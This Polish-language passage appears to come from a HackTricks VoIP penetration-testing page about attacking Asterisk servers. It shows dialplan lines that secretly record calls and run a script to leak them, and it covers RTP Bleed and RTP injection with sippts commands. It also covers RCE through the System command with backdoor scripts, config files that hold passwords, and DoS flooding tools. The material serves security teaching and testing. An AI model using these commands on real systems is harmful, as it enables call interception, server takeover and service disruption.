exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
|
|
exten => _X.,2,MixMonitor(${NAME})
|
|
```
|
|
Połączenia będą zapisywane w **`/tmp`**.
|
|
|
|
Możesz również sprawić, że Asterisk **wykona skrypt, który ujawni połączenie** po jego zakończeniu.
|
|
```scss
|
|
exten => h,1,System(/tmp/leak_conv.sh &)
|
|
```
|
|
### Wrażliwość RTCPBleed
|
|
|
|
**RTCPBleed** to poważny problem bezpieczeństwa dotyczący serwerów VoIP opartych na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
|
|
|
|
Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP pomiędzy dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
|
|
|
|
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proxy RTP, jak i punktach końcowych.
|
|
|
|
Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednostronnego w połączeniach.
|
|
|
|
Aby uzyskać więcej informacji, sprawdź [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
|
|
- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa wrażliwość RTP Bleed, wysyłając strumienie RTP.
|
|
```bash
|
|
sippts rtpbleed -i 10.10.0.10
|
|
```
|
|
- **`SIPPTS rtcpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
|
|
```bash
|
|
sippts rtcpbleed -i 10.10.0.10
|
|
```
|
|
- **`SIPPTS rtpbleedflood`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
|
|
```bash
|
|
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
|
```
|
|
- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject wykorzystuje lukę RTP Bleed, wstrzykując plik audio (format WAV).
|
|
```bash
|
|
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|
```
|
|
### RCE
|
|
|
|
W Asterisku w jakiś sposób udaje ci się **dodać reguły rozszerzeń i je przeładować** (na przykład poprzez skompromitowanie podatnego serwera menedżera webowego), możliwe jest uzyskanie RCE za pomocą polecenia **`System`**.
|
|
```scss
|
|
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|
```
|
|
Istnieje polecenie zwane **`Shell`**, które można użyć **zamiast `System`**, aby wykonać polecenia systemowe, jeśli zajdzie taka potrzeba.
|
|
|
|
> [!WARNING]
|
|
> Jeśli serwer **nie zezwala na użycie niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox) i użyj tego, aby **utworzyć skrypt backdoor**, a następnie użyj **`System`**, aby **wykonać** ten **skrypt**.
|
|
|
|
#### Ciekawe lokalne pliki i uprawnienia
|
|
|
|
- **`sip.conf`** -> Zawiera hasło użytkowników SIP.
|
|
- Jeśli **serwer Asterisk działa jako root**, możesz skompromitować root.
|
|
- **użytkownik root mysql** może **nie mieć hasła**.
|
|
- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
|
|
- **`FreePBX`**
|
|
- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX).
|
|
- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych.
|
|
- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
|
|
- **`Elastix`**
|
|
- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego.
|
|
- **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne zainfekowane binaria podczas wykonywania.
|
|
|
|
### Wstrzykiwanie RTP
|
|
|
|
Możliwe jest wstawienie **`.wav`** w rozmowach za pomocą narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
|
|
|
Możesz również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/), aby **zeskanować rozmowy** (**`rtpscan.pl`**), wysłać `.wav` do rozmowy (**`rtpsend.pl`**) i **wstawić hałas** w rozmowie (**`rtpflood.pl`**).
|
|
|
|
### DoS
|
|
|
|
Istnieje kilka sposobów, aby spróbować osiągnąć DoS na serwerach VoIP.
|
|
|
|
- **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood wysyła nieograniczoną liczbę wiadomości do celu.
|
|
- `sippts flood -i 10.10.0.10 -m invite -v`
|
|
- **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping wykonuje ping SIP, aby zobaczyć czas odpowiedzi serwera.
|
|
- `sippts ping -i 10.10.0.10`
|
|
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protokołu IAX używanego przez Asterisk.
|
|
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania floodingu wiadomości SIP/SDP INVITE przez UDP/IP.
|
|
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka dobrze uformowanych pakietów RTP. Należy znać porty RTP, które są używane (najpierw sniff).
|
|
- [**SIPp**](https://github.com/SIPp/sipp): Umożliwia analizę i generowanie ruchu SIP, więc może być również używane do DoS.
|
|
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używane do przeprowadzania ataków SIP.
|
|
- Fuzzery: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
|
|
|
### Luki w systemie operacyjnym
|
|
|
|
Najłatwiejszym sposobem na zainstalowanie oprogramowania takiego jak Asterisk jest pobranie **dystrybucji OS**, która ma je już zainstalowane, takich jak: **FreePBX, Elastix, Trixbox**... Problem z nimi polega na tym, że gdy już działają, administratorzy systemów mogą **nie aktualizować ich ponownie**, a **luki** będą odkrywane z czasem.
|
|
|
|
## Odnośniki
|
|
|
|
- [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
|
- [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
|
|
- [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
|
- [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
- [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
|
- [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|